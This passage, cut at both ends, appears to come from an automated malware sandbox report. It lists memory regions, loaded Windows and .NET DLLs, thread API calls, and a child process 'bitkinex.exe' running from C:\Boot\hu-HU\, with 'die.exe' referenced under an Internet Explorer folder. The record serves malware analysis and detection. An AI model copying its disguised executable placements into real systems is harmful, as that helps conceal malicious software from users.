name = "pagefile_0x000000001aec0000" filename = "" Region: id = 8823 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8824 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8825 start_va = 0x7fe94a00000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8888 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8889 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8926 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8941 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8944 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8966 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8967 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8968 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9013 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9028 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9043 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9054 start_va = 0x1afa0000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 9072 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9092 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9093 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9094 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9149 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9150 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9166 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9175 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9188 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9218 start_va = 0x2f0000 end_va = 0x351fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9242 start_va = 0x5f0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 9243 start_va = 0x1b190000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 9244 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9245 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9406 start_va = 0x1b410000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 9407 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9408 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9409 start_va = 0x5a0000 end_va = 0x5e4fff monitored = 0 entry_point = 0x5a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9410 start_va = 0x5a0000 end_va = 0x5e4fff monitored = 0 entry_point = 0x5a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9411 start_va = 0x5a0000 end_va = 0x5e4fff monitored = 0 entry_point = 0x5a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9412 start_va = 0x5a0000 end_va = 0x5e4fff monitored = 0 entry_point = 0x5a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9413 start_va = 0x5a0000 end_va = 0x5e4fff monitored = 0 entry_point = 0x5a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9455 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9456 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9481 start_va = 0x1afc0000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afc0000" filename = "" Region: id = 9482 start_va = 0x1b0f0000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Region: id = 9483 start_va = 0xd50000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 9484 start_va = 0x1b540000 end_va = 0x1b63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 9485 start_va = 0x1b640000 end_va = 0x1b73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b640000" filename = "" Region: id = 9486 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9487 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9488 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9526 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9548 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9564 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9584 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9598 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9599 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9637 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9638 start_va = 0x1b740000 end_va = 0x1ba11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9639 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9724 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9725 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9726 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 9727 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 9861 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 9862 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 9863 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 9864 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 9865 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 9866 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 9902 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 9903 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 9904 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 9905 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 9906 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9907 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 9908 start_va = 0xa50000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 9950 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 9951 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 9961 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 10109 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 10110 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 10111 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 10112 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 10222 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 10223 start_va = 0xb70000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 10224 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 10225 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 10226 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 10227 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 10228 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 10229 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 10230 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 10231 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 10232 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 10233 start_va = 0xd00000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 10234 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 10235 start_va = 0xd20000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 10236 start_va = 0xd30000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 10237 start_va = 0xd40000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 10238 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 10239 start_va = 0xd60000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 10295 start_va = 0x1a870000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a870000" filename = "" Region: id = 10296 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 10297 start_va = 0x7fe94aa0000 end_va = 0x7fe94aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 10348 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10349 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10350 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10351 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10352 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10353 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 10407 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 10408 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 10448 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10466 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10483 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Thread: id = 347 os_tid = 0x658 [0225.427] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.126] EtwEventRegister (in: ProviderId=0x23e5878, EnableCallback=0x1b0f135c, CallbackContext=0x0, RegHandle=0x23e5858 | out: RegHandle=0x23e5858) returned 0x0 [0244.712] EtwEventRegister (in: ProviderId=0x23ea000, EnableCallback=0x1b0f13ac, CallbackContext=0x0, RegHandle=0x23e9fe0 | out: RegHandle=0x23e9fe0) returned 0x0 [0246.635] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xd4bb0*=0xd8, lpdwindex=0x2ee314 | out: lpdwindex=0x2ee314) returned 0x0 [0248.375] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xd4bb0*=0xd8, lpdwindex=0x2ee314 | out: lpdwindex=0x2ee314) returned 0x0 [0267.581] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a7862e0*=0x24, lpdwindex=0x2ee004 | out: lpdwindex=0x2ee004) returned 0x0 [0267.939] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xd4bb0*=0xd8, lpdwindex=0x2ee314) Thread: id = 426 os_tid = 0x550 Thread: id = 434 os_tid = 0x758 [0227.666] CoGetContextToken (in: pToken=0x1a9bfa40 | out: pToken=0x1a9bfa40) returned 0x800401f0 [0227.667] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 442 os_tid = 0x81c Thread: id = 449 os_tid = 0x844 [0245.653] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.654] CoGetContextToken (in: pToken=0x1b28f5d0 | out: pToken=0x1b28f5d0) returned 0x0 [0245.654] CObjectContext::QueryInterface () returned 0x0 [0245.654] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.654] Release () returned 0x0 [0245.654] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.655] CoUninitialize () [0258.709] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b28da08 | out: phkResult=0x1b28da08*=0x0) returned 0x2 [0258.709] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.716] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe", nBufferLength=0x105, lpBuffer=0x1b28e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe", lpFilePart=0x0) returned 0x37 Thread: id = 450 os_tid = 0x848 Thread: id = 492 os_tid = 0x8f0 Thread: id = 522 os_tid = 0x970 Thread: id = 523 os_tid = 0x974 Thread: id = 524 os_tid = 0x978 [0248.370] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.371] CoGetContextToken (in: pToken=0x1b63f9f0 | out: pToken=0x1b63f9f0) returned 0x0 [0248.371] CObjectContext::QueryInterface () returned 0x0 [0248.371] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.371] Release () returned 0x0 [0248.371] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.371] CoUninitialize () Thread: id = 525 os_tid = 0x97c Thread: id = 552 os_tid = 0x9f0 Process: id = "87" image_name = "bitkinex.exe" filename = "c:\\boot\\hu-hu\\bitkinex.exe" page_root = "0x77c37000" os_pid = "0x65c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\Boot\\hu-HU\\bitkinex.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7328 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7329 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7330 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 7331 start_va = 0xd60000 end_va = 0xe37fff monitored = 1 entry_point = 0xe2f1ee region_type = mapped_file name = "bitkinex.exe" filename = "\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe") Region: id = 7332 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7333 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7334 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7335 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7336 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7337 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 7338 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7339 start_va = 0x150000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7340 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7341 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7342 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7487 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7488 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7489 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7490 start_va = 0x150000 end_va = 0x1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7491 start_va = 0x1f0000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7492 start_va = 0x270000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 7493 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 7494 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 7646 start_va = 0x3b0000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 7666 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7667 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7668 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7669 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7670 start_va = 0x5a0000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 7671 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 7672 start_va = 0x520000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7673 start_va = 